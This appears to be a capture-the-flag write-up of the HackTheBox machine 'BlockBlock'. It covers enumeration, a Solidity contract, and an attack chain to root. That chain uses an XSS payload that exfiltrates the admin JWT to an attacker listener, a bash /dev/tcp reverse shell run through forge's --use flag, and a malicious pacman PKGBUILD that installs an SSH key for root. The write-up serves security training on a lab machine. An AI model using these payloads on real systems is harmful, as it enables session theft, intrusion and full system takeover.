runasdexter
HackTheBox
  • machines
    • Season 7
      • Backfire
    • Season 6
      • LinkVortex
      • BlockBlock
      • Alert
      • Certified
      • Chemistry
      • Instant
      • Yummy
      • Cicada
      • Trickster
      • Caption
      • MonitorsThree
      • Sightless
    • Season 5
      • MagicGardens
  • CHALLENGES
    • AI-ML
      • Easy
      • Medium
      • Hard
    • Blockchain
      • Very Easy
      • Easy
      • Medium
    • Crypto
      • Very Easy
      • Easy
      • Medium
      • Hard
      • Insane
    • Forensics
      • Very Easy
      • Easy
      • Medium
      • Hard
    • GamePwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Hardware
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Misc
      • Very Easy
      • Easy
      • Medium
    • Mobile
      • Very Easy
      • Easy
      • Medium
      • Hard
    • OSINT
      • Easy
      • Medium
    • Pwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Reversing
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Web
      • Very Easy
      • Easy
      • Medium
      • Hard
  • Cheatsheet
    • Pentest
      • Web Pentesting
    • Tools
Powered by GitBook
On this page
  • Synopsis
  • Enumeration
  • Nmap
  • Web - Port 80
  • File - Database.sol
  • Exploitation
  • Report User Feature - XSS [ Getting Admin JWT token ]
  • Foothold
  • Shell - keira [ Getting Raw Blockchain ]
  • Lateral Movement
  • Pillaging - keira [ user ]
  • Shell - paul [ RCE via forge ]
  • Privilege Escalation
  • Pillaging - paul [ user ]
  • Shell - root [ pacman privilege escalation ]
  • Proof of Concept
  1. machines
  2. Season 6

BlockBlock

PreviousLinkVortexNextAlert

Last updated 21 days ago

Synopsis

BlockBlock is a linux hard machine created by . The report user feature is vulnerable to XSS. Got the admin JWT token by exploiting XSS and admin account is accessed. The blockchain block can be viewed and one of the block contains the keira user password. The keira user can run forge command as a paul which is vulnerable to RCE and exploitable to gain the paul user reverse shell. The paul has a sudo privilege to run the pacman command which is package manager for arch linux. The malicious package is created to privilege escalate to root using pacman.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Hard

40

16-11-2024

29-03-2025


Enumeration

Nmap

Starting the nmap scan and found ssh and http services running.

nmap -Pn -sC -sV --min-rate=1000 10.10.11.43                                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:40 EDT
Nmap scan report for 10.10.11.43
Host is up (0.95s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title:          Home  - DBLC    
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.36 seconds

Web - Port 80

The port 80 is hosting the Decentralized Chat app where the ethereum is used for making chat application .

Visiting the Chat and Profile endpoints without login gives us the {"msg":"Missing cookie "token""} message. The Register and Login endpoints provides us the form for registration and login.

Registering, gives us the access to the chat and profile endpoints. The chat has a messaging and reporting user features. The BOT sends us the greetings message in secure blockchain chat app. The profile shows the username, role and recent messages history. Currently I have a user role.

Sending message doesn't do anything and intercepting the request shows the JWT token.

The chat endpoints gives us link to the smart contracts. The two smart contract Chat.sol and Database.sol is present. The Chat.sol is used for handling chats and Database.sol is used database.

File - Database.sol

Database.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;

interface IChat {
    function deleteUserMessages(string calldata user) external;
}

contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }

    address immutable owner;
    IChat chat;

    mapping(string username => User) users;

    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }

    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }

    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }

    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }

    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }

        chat = IChat(_chat);
    }

    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }

    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];

        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }

    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }

        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }

    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }

        users[username].role = role;
        emit RoleUpdated(username);
    }
}

The above code creates the struct with password, role and exists. It contains the functions for registering user, updating role, changing password, deleting messages and so on.


Exploitation

Report User Feature - XSS [ Getting Admin JWT token ]

Opening the python server and testing the XSS payload in Report User feature gives us the positive result.

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [01/Apr/2025 08:13:42] "GET / HTTP/1.1" 200 -
10.10.11.43 - - [01/Apr/2025 08:14:03] "GET / HTTP/1.1" 200 -

I am going to get the admin JWT token. The cookie has the HttpOnly flag set, so the document.cookie doesn't gives us the cookie. The /app/info endpoint leaks the JWT token and I will be using script to fetch the token from the endpoint and send the request to my nc listener.

<img src="x" onerror="fetch('http://10.10.11.43/api/info').then(resp => resp.text()).then(body => { fetch('http://10.10.16.34:8443', { method: 'POST', body: body});})" />
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 54374
POST / HTTP/1.1
Host: 10.10.16.34:8443
Connection: keep-alive
Content-Length: 316
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.10.11.43
Referer: http://10.10.11.43/
Accept-Encoding: gzip, deflate

{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MzUxNzkyMCwianRpIjoiYjAzM2IxYjEtZTk4ZC00YWFlLWI5NzctMDllOThhMTRlNzI3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQzNTE3OTIwLCJleHAiOjE3NDQxMjI3MjB9.wcnpFL0HcVwyGlV0D2QmV92w7055AgILcMDU1P7PoPU","username":"admin"}

Changed the value of cookie using dev tools and refreshed the page. Got the admin access.


Foothold

Shell - keira [ Getting Raw Blockchain ]

The admin panel is making /api/chat_address GET request and /api/json-rpc POST request.

Getting the block 1 input and decoding it using cyberchef leaks the credentials of user keira.

The credentials is also used in ssh.

ssh keira@10.10.11.43          
The authenticity of host '10.10.11.43 (10.10.11.43)' can't be established.
ED25519 key fingerprint is SHA256:Yxhk4seV11xMS6Vp0pPoLicen3kJ7RAkXssZiL2/t3c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
keira@10.10.11.43's password: 
Last login: Tue Apr  1 07:46:45 2025 from 10.10.14.111
[keira@blockblock ~]$ 

Lateral Movement

Pillaging - keira [ user ]

The user keira has a privilege to run the foundry forge with sudo privilege as paul user which is present in paul home directory.

[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
[keira@blockblock ~]$ 

Shell - paul [ RCE via forge ]

Forge is a command-line tool that ships with Foundry. Forge tests, builds, and deploys smart contracts.

Methodology

The forge build contains the --use flag for specifying the solc version, or a path to a local solc, to build with. It can be used to specify the path to reverse shell file and forge will build with the reverse shell and the reverse shell is established in our nc.

Exploit

1

Create the reverse shell

shell.sh
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.34/8443 0>&1

Make it executable.

[keira@blockblock tmp]$ chmod +x shell.sh
2

Getting shell

Open nc listener and run the forge build with --use flag.

[keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 46360
[paul@blockblock tmp]$ whoami
whoami
paul
[paul@blockblock tmp]$ 

Privilege Escalation

Pillaging - paul [ user ]

The paul is privileged to run the pacman cli as root which is the arch linux package manager same as apt on debian based linux distros.

[paul@blockblock ~]$ sudo -l
sudo -l
User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman
[paul@blockblock ~]$ 

Shell - root [ pacman privilege escalation ]

Methodology

Creating malicious package which is used to add our public SSH key to root authorized_keys file.

Exploit

1

Creating PKGBUILD file

PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege escalation"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
  install -Dm755 "$srcdir/authorized_keys" "$pkgdir/root/.ssh/authorized_keys"
}
2

Generating SSH keys

[paul@blockblock tmp]$ ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
[paul@blockblock tmp]$ mv id_rsa.pub authorized_keys
3

Building package

The makepkg is used to build packages in arch linux.

[paul@blockblock tmp]$ makepkg
makepkg
==> Making package: privesc 1.0-1 (Wed 02 Apr 2025 11:15:03 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
  -> Found authorized_keys
==> Validating source files with sha256sums...
    authorized_keys ... Skipped
==> Extracting sources...
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "privesc"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: privesc 1.0-1 (Wed 02 Apr 2025 11:15:04 AM UTC)
[paul@blockblock tmp]$ 
4

Install the package

Previously the makepkg command created the .zst file. To install the package the pacman command is used.

[paul@blockblock tmp]$ sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) privesc-1.0-1

Total Installed Size:  0.00 MiB

:: Proceed with installation? [Y/n] Y 
Y
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
checking available disk space...
:: Processing package changes...
installing privesc...
warning: directory permissions differ on /root/
filesystem: 700  package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700  package: 755
[paul@blockblock tmp]$
5

Transfering id_rsa to our machine

The python3 is present in machine. So, I will be using python http server for serving the file.

[paul@blockblock tmp]$ python3 -m http.server
wget http://10.10.11.43:8000/id_rsa                                                                           
--2025-04-02 07:18:20--  http://10.10.11.43:8000/id_rsa
Connecting to 10.10.11.43:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3381 (3.3K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                                      100%[========================================================================================>]   3.30K  15.5KB/s    in 0.2s    

2025-04-02 07:18:21 (15.5 KB/s) - ‘id_rsa’ saved [3381/3381]

Change the permission of id_rsa to 600.

chmod 600 id_rsa
6

Getting shell

ssh -i id_rsa root@10.10.11.43                    
Last login: Thu Nov 14 14:47:11 2024
[root@blockblock ~]# ls
root.txt  scripts
[root@blockblock ~]# 

Proof of Concept

The below video provides the PoC of BlockBlock machine.

The /api/json-rpc can be used to get the block details with the help of . function. Sending the request to /api/json-rpc with method as eth_getBlockByNumber gives us the information about the blocks.

The user.txt file contains the user flag

TheCyberSimon has created the post about privilege escalation using pacman.

The root.txt file contains the root flag

👏
🎉
0xOZ
eth_getBlockByNumber()
blog
chat
profile
/api/chat_address
/api/json-rpc
Page cover image